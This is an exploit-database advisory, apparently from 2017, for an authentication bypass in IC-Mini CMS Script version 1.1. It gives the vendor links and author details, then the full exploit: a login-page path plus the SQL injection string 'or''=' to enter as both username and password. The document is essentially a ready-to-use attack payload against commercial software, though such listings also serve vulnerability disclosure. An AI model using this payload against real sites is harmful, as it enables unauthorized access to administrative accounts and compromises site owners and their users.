# # # # # # Exploit Title: IC-Mini CMS Script - Authentication Bypass # Google Dork: N/A # Date: 20.01.2017 # Vendor Homepage: http://www.icloudcenter.com/ # Software Buy: http://www.icloudcenter.com/mini_cms.htm # Demo: http://www.icloudcenter.net/demos/mini_cms/ # Version: 1.1 # Tested on: Win7 x64 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Mail : ihsan[beygir]ihsan[nokta]net # # # # # # Exploit : # http://localhost/[PATH]//index.php?page=login and set Username and Password to 'or''=' and hit enter. # # # # # # Iranian Exploit DataBase = http://IeDb.Ir [2017-01-21]